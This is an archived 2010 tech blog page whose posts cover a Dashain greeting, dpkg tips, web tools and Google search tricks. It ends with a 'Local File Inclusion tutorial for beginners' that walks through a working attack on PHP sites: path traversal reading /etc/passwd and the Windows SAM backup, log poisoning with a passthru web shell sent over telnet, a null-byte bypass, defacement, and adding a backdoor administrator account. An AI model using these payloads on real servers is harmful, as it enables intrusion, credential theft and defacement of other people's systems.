Tuesday, 12 October 2010
विजय दशमीको मनगलमय शुभकामना सम्पूर्ण नेपालीलाई [Happy Dashain]
नेपालीहरुको महान पर्ब बिजया दशमीको मंगलमय शुभकामना techgaun को तर्फ बाट। यो महान पर्ब को अवसरमा हजुरहरु सम्पूर्णको जीवनमा खुशीयाली छाओस हाम्रो येही छ कामना.
तपाईंको समय राम्रो सँग बितोस येही छ हाम्रो चाहना
Happy dashain once again. :)
Read more...
तपाईंको समय राम्रो सँग बितोस येही छ हाम्रो चाहना
Happy dashain once again. :)
Read more...
विजय दशमीको मनगलमय शुभकामना सम्पूर्ण नेपालीलाई [Happy Dashain]
2010-10-12T12:48:00+05:45
Cool Samar
festivals and celebrations|
Comments

Labels:
festivals and celebrations
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Monday, 11 October 2010
Installing .deb package in ubuntu with dpkg
You can use dpkg, a command line tool to manage the packages, in order to install .deb packages in your ubuntu linux distro.
dpkg is a tool to install, build, remove and manage Debian packages. The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way.
In order to install the .deb package, you need to use -i parameter with the dpkg command as below:
Also, you can install the multiple packages directly by issuing the command as below:
Hope this helps you. :)
Read more...
dpkg is a tool to install, build, remove and manage Debian packages. The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way.
In order to install the .deb package, you need to use -i parameter with the dpkg command as below:
cd /home/samar/Downloads/
sudo dpkg -i skype-ubuntu-intrepid_2.1.0.81-1_amd64.deb
sudo dpkg -i skype-ubuntu-intrepid_2.1.0.81-1_amd64.deb
Also, you can install the multiple packages directly by issuing the command as below:
cd /home/samar/Downloads/
sudo dpkg -i *.deb
sudo dpkg -i *.deb
Hope this helps you. :)
Read more...
Installing .deb package in ubuntu with dpkg
2010-10-11T17:41:00+05:45
Cool Samar
beginner|linux|tricks and tips|
Comments

Labels:
beginner,
linux,
tricks and tips
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Sunday, 10 October 2010
Send Free SMS all over the World with Mjoy.com
Searching for the online portal that you can use to send SMS to anyone and anywhere in the world? I found the solution for it.
Mjoy.com from Venista Group offers a free service to send SMS all over the world. The best part of this service is it allows you to send unlimited number of characters in your SMS.
When you sign up, you'll have to enter the valid phone number where you will be sent the link for completing the registration. After completing the registration, you'll be able to send SMS to whoever and wherever you want.
The only thing that might not be desirable for many is the small ad at the end but the service is worth using.
Go to Mjoy.com
Please if you try(or have already tried) the service, please comment on this post so that it will be useful for others.
Read more...
Mjoy.com from Venista Group offers a free service to send SMS all over the world. The best part of this service is it allows you to send unlimited number of characters in your SMS.
When you sign up, you'll have to enter the valid phone number where you will be sent the link for completing the registration. After completing the registration, you'll be able to send SMS to whoever and wherever you want.
The only thing that might not be desirable for many is the small ad at the end but the service is worth using.
Go to Mjoy.com
Please if you try(or have already tried) the service, please comment on this post so that it will be useful for others.
Read more...
Send Free SMS all over the World with Mjoy.com
2010-10-10T16:52:00+05:45
Cool Samar
tricks and tips|useful website|
Comments

Labels:
tricks and tips,
useful website
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Saturday, 9 October 2010
Online Cool ASCII Generator from Network-Science.De
While googling for the online ascii generator tools, I came across a very useful site with number of fonts and other options to use in order to create cool ASCII of our texts.
Online ASCII Generator @ Network-Science.De
EDIT:
I found another website www.asciify.org for the same purpose.
Have fun. :)
Read more...
__ .__ _/ |_ ____ ____ | |__ \ __\/ __ \_/ ___\| | \ | | \ ___/\ \___| Y \ |__| \___ >\___ >___| / \/ \/ \/ _________ __ __ ____ / ___\__ \ | | \/ \ / /_/ > __ \| | / | \ \___ (____ /____/|___| / /_____/ \/ \/
Online ASCII Generator @ Network-Science.De
EDIT:
I found another website www.asciify.org for the same purpose.
Have fun. :)
Read more...
Online Cool ASCII Generator from Network-Science.De
2010-10-09T22:46:00+05:45
Cool Samar
useful website|
Comments

Labels:
useful website
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Get Matrix like Text Effect for Website Headers with matrixtext.com
If you want the image with matrix like text effect for your blog or any other site/profile, you can now get it online.
Just type the text you want to appear in the image and choose from the various available options and on one single click, you will get image with the matrix text effect containing text you inputted.
What the official site says:
Matrix Text for websites and myspace. Create the matrix text effect or any text effect using the real matrix text characters. Generate free matrix text for MySpace or any other website and enchance your MySpace matrix layout. Our matrix text maker will provide matrix text HTML for free and it's fun to use. Our matrix text generator codes are used for everything. We take pride in our matrix text graphics! Say Happy Birthday with a Matrix Text! Quickly create personalized matrix text pictures to use anywhere.

Visit the site
They say they give HTML but you can directly save the image. Choose among the animation speed, color, font, etc. and get the Matrix Text effect as you need. Have fun. :)
Read more...
Just type the text you want to appear in the image and choose from the various available options and on one single click, you will get image with the matrix text effect containing text you inputted.
What the official site says:
Matrix Text for websites and myspace. Create the matrix text effect or any text effect using the real matrix text characters. Generate free matrix text for MySpace or any other website and enchance your MySpace matrix layout. Our matrix text maker will provide matrix text HTML for free and it's fun to use. Our matrix text generator codes are used for everything. We take pride in our matrix text graphics! Say Happy Birthday with a Matrix Text! Quickly create personalized matrix text pictures to use anywhere.
Visit the site
They say they give HTML but you can directly save the image. Choose among the animation speed, color, font, etc. and get the Matrix Text effect as you need. Have fun. :)
Read more...
Get Matrix like Text Effect for Website Headers with matrixtext.com
2010-10-09T22:40:00+05:45
Cool Samar
useful website|
Comments

Labels:
useful website
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Searching flash games using Google Search trick
Another google trick, this can be used to search any flash games(swf files) you want to play.
So you just played a flash game which was really cool and you want to download it in your computer? You can use google's search trick to search for any flash game you want.
This trick relies on the way directory listing is done in the webserver's directories. Whenever the default index page or directory listing denying features are not implemented in the web server, we can view the files in the directory. I'm not going into the further detail of this, instead I'm going to show you how to perform the google search for finding whatever flash game you want.
I need the game called gravity which is very fun to play. Now I do the search as below to find it:
You can replace the gravity with the name of the flash game you want to search and download.
Have fun with this google trick. :)
Read more...
So you just played a flash game which was really cool and you want to download it in your computer? You can use google's search trick to search for any flash game you want.
This trick relies on the way directory listing is done in the webserver's directories. Whenever the default index page or directory listing denying features are not implemented in the web server, we can view the files in the directory. I'm not going into the further detail of this, instead I'm going to show you how to perform the google search for finding whatever flash game you want.
I need the game called gravity which is very fun to play. Now I do the search as below to find it:
"index of /" "last modified" "parent directory" swf gravity
You can replace the gravity with the name of the flash game you want to search and download.
Have fun with this google trick. :)
Read more...
Searching flash games using Google Search trick
2010-10-09T22:01:00+05:45
Cool Samar
beginner|google hacking|internet|tricks and tips|web|
Comments

Labels:
beginner,
google hacking,
internet,
tricks and tips,
web
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Searching PDFs and DOCs using Google Search
Generally, we use Google search in order to find any information we need. Google is widely used by many of us to find information relevant for us. Sometimes, we may need to find PDF (Portable Document Format) or DOC files and even the PPT (Powerpoint Presentations). This can be easily done using google search trick.
In order to find any type of file in google, we can use special google keyword filetype to specify the type of file we want to search. Put the colon : after the filetype and specify the type of file you want. For example, if you are searching for PDF or DOCs, do the following:
For example, you are searching for the PDFs related to nepali morphological analyzer, you'll do:
You can follow the same process for any other filetypes. Have fun with this google trick. :)
Read more...
In order to find any type of file in google, we can use special google keyword filetype to specify the type of file we want to search. Put the colon : after the filetype and specify the type of file you want. For example, if you are searching for PDF or DOCs, do the following:
filetype:pdf
filetype:doc
filetype:doc
For example, you are searching for the PDFs related to nepali morphological analyzer, you'll do:
nepali morphological analyzer filetype:pdf
You can follow the same process for any other filetypes. Have fun with this google trick. :)
Read more...
Searching PDFs and DOCs using Google Search
2010-10-09T21:41:00+05:45
Cool Samar
beginner|google hacking|internet|tricks and tips|web|
Comments

Labels:
beginner,
google hacking,
internet,
tricks and tips,
web
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Thursday, 7 October 2010
Local File Inclusion [LFI] tutorial for beginners
Before, I have written an article on remote file inclusion (RFI) and this time, I am writing the article of LFI. So what is LFI? Its similar to RFI except that we are gonna include the file within the server rather than from another server. Sometimes, what happens is, we have allow_url_include setting is set to off on the webserver (On is by default) or there's somekind of filtration to check for things like http:// or www (though we can bypass these things). So in that condition, we may have to use LFI to own the server.
So lets again take example of vulnerable script:
Here we can see that the script doesn't check for which file to be included and hence, we are free to include any file by changing the 'page' GET variable value.
Lets put a quote at the end of URL and we see a pretty nice error like this:
So the script can't find the file profile.php' and hence errors. Now, lets try to include sensitive files that might be present in the webserver.
Two ../ shifts the current directory to two level down like cd../.. in command prompt. You may watch the error to find how many such dots you should use. But if you don't know how many such ../ you should use or don't want to waste time on finding how many steps you require, you may put enough such trails like about 10 to view these files like boot.ini or /etc/passwd as after reaching to the root folder like C:\, they can't go down anymore.
So you now know how to include sensitive files on the webserver. Now what if we need shell on the server.
Now, we throw some error to the logs of webserver that contain PHP code:
<?php passthru($_GET['cmd']); ?> or something similar to this. There are functions like system(), shell_exec(), exec(), etc. offered by PHP for executing system level commands.
The problem on injecting malicious code to log files is that we either need to inject through telnet or using codes. I have seen many sites with the perl codes for the purpose. Search it.
What we do is inject the code to log files of apache such as access.log or apache_error.log or php_error.log or on any other log file. Then we include the same log file in the vulnerable script and then execute system commands.
In my wampserver, I have:
There are various places you might want to watch and I'll be listing them at the end of tutorial.
Here I am gonna use telnet to throw the PHP code as error to the access.log file.
Now this is gonna get saved in the file access.log in my webserver and now I include it in the vulnerable script:
and any other commands you like.
This describes pretty much on owning the server. Now something extras I thought to include here:
Some developers think that they can ensure the inclusion of only valid php file by doing something like below:
// so looks like that it will include only the php files by ensuring the .php extension at the end. But if we add question mark (?) or nullbyte () by doing http://localhost/test.php?page=access.log, it would become something like:
include("access.log.php"); //now the scripts leaves anything behind the nullbyte and the file access.log is successfully included. And you can carry your usual pwnage.
Note that don't try to inject PHP code by sending malicious HTTP requests through your browser. It will be encoded and you won't be able to exploit.
Now finally the places you might want to watch on lfi:
etc/passwd
etc/group
etc/security/passwd
etc/security/group
apache/logs/access.log
apache/logs/error.log
var/log/access.log
etc.
You can find many other places to look after during your lfi by searching on the internet. Be creative and use your brain.
Hope you like it. Please comment it.
With Regards~
sam207
Read more...
So lets again take example of vulnerable script:
<?php
if (IsSet($_GET['page']))
include($_GET['page']);
?>
if (IsSet($_GET['page']))
include($_GET['page']);
?>
Here we can see that the script doesn't check for which file to be included and hence, we are free to include any file by changing the 'page' GET variable value.
Eg: www.victim.com/index.php?page=profile.php
Warning: include(profile.php) [function.include]: failed to open stream: No such file or directory in C:\wamp\www\test.php on line 2
Warning: include() [function.include]: Failed opening 'profile.php' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\test.php on line 3
Warning: include() [function.include]: Failed opening 'profile.php' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\test.php on line 3
So the script can't find the file profile.php' and hence errors. Now, lets try to include sensitive files that might be present in the webserver.
Eg: www.victim.com/index.php?page=../../boot.ini //boot.ini file in windoze
http://localhost/test.php?page=../../windows/system32/drivers/etc/hosts //hosts info file
http://localhost/test.php?page=../../../../etc/passwd //on Linux
http://localhost/test.php?page=../../windows/repair/sam //backup sam file
etc. and etc.
http://localhost/test.php?page=../../windows/system32/drivers/etc/hosts //hosts info file
http://localhost/test.php?page=../../../../etc/passwd //on Linux
http://localhost/test.php?page=../../windows/repair/sam //backup sam file
etc. and etc.
Two ../ shifts the current directory to two level down like cd../.. in command prompt. You may watch the error to find how many such dots you should use. But if you don't know how many such ../ you should use or don't want to waste time on finding how many steps you require, you may put enough such trails like about 10 to view these files like boot.ini or /etc/passwd as after reaching to the root folder like C:\, they can't go down anymore.
So you now know how to include sensitive files on the webserver. Now what if we need shell on the server.
Now, we throw some error to the logs of webserver that contain PHP code:
<?php passthru($_GET['cmd']); ?> or something similar to this. There are functions like system(), shell_exec(), exec(), etc. offered by PHP for executing system level commands.
The problem on injecting malicious code to log files is that we either need to inject through telnet or using codes. I have seen many sites with the perl codes for the purpose. Search it.
What we do is inject the code to log files of apache such as access.log or apache_error.log or php_error.log or on any other log file. Then we include the same log file in the vulnerable script and then execute system commands.
In my wampserver, I have:
http://localhost/test.php?page=../logs/access.log //for the log with site access infos.
There are various places you might want to watch and I'll be listing them at the end of tutorial.
Here I am gonna use telnet to throw the PHP code as error to the access.log file.
telnet localhost 80
GET /<? passthru($_GET['cmd']); ?> HTTP/1.1
GET /<? passthru($_GET['cmd']); ?> HTTP/1.1
Now this is gonna get saved in the file access.log in my webserver and now I include it in the vulnerable script:
So we do: http://localhost/test.php?page=../logs/access.log&cmd=dir //lists the directory
Now you may do any miserable works by writing cmd=any_system_level_commands like:
ls -lia
echo "HaCKeD BY sam207">index.*
net user sam207 mypass /add
net localgroup administrator sam207 /add
Now you may do any miserable works by writing cmd=any_system_level_commands like:
ls -lia
echo "HaCKeD BY sam207">index.*
net user sam207 mypass /add
net localgroup administrator sam207 /add
and any other commands you like.
This describes pretty much on owning the server. Now something extras I thought to include here:
Some developers think that they can ensure the inclusion of only valid php file by doing something like below:
<?php
if (IsSet($_GET['page']))
include($_GET['page'].".php");
?>
if (IsSet($_GET['page']))
include($_GET['page'].".php");
?>
// so looks like that it will include only the php files by ensuring the .php extension at the end. But if we add question mark (?) or nullbyte () by doing http://localhost/test.php?page=access.log, it would become something like:
include("access.log.php"); //now the scripts leaves anything behind the nullbyte and the file access.log is successfully included. And you can carry your usual pwnage.
Note that don't try to inject PHP code by sending malicious HTTP requests through your browser. It will be encoded and you won't be able to exploit.
Now finally the places you might want to watch on lfi:
etc/passwd
etc/group
etc/security/passwd
etc/security/group
apache/logs/access.log
apache/logs/error.log
var/log/access.log
etc.
You can find many other places to look after during your lfi by searching on the internet. Be creative and use your brain.
Hope you like it. Please comment it.
With Regards~
sam207
Read more...
Local File Inclusion [LFI] tutorial for beginners
2010-10-07T21:11:00+05:45
Cool Samar
beginner|file inclusion|hacking|
Comments

Labels:
beginner,
file inclusion,
hacking
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget | ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Subscribe to:
Posts (Atom)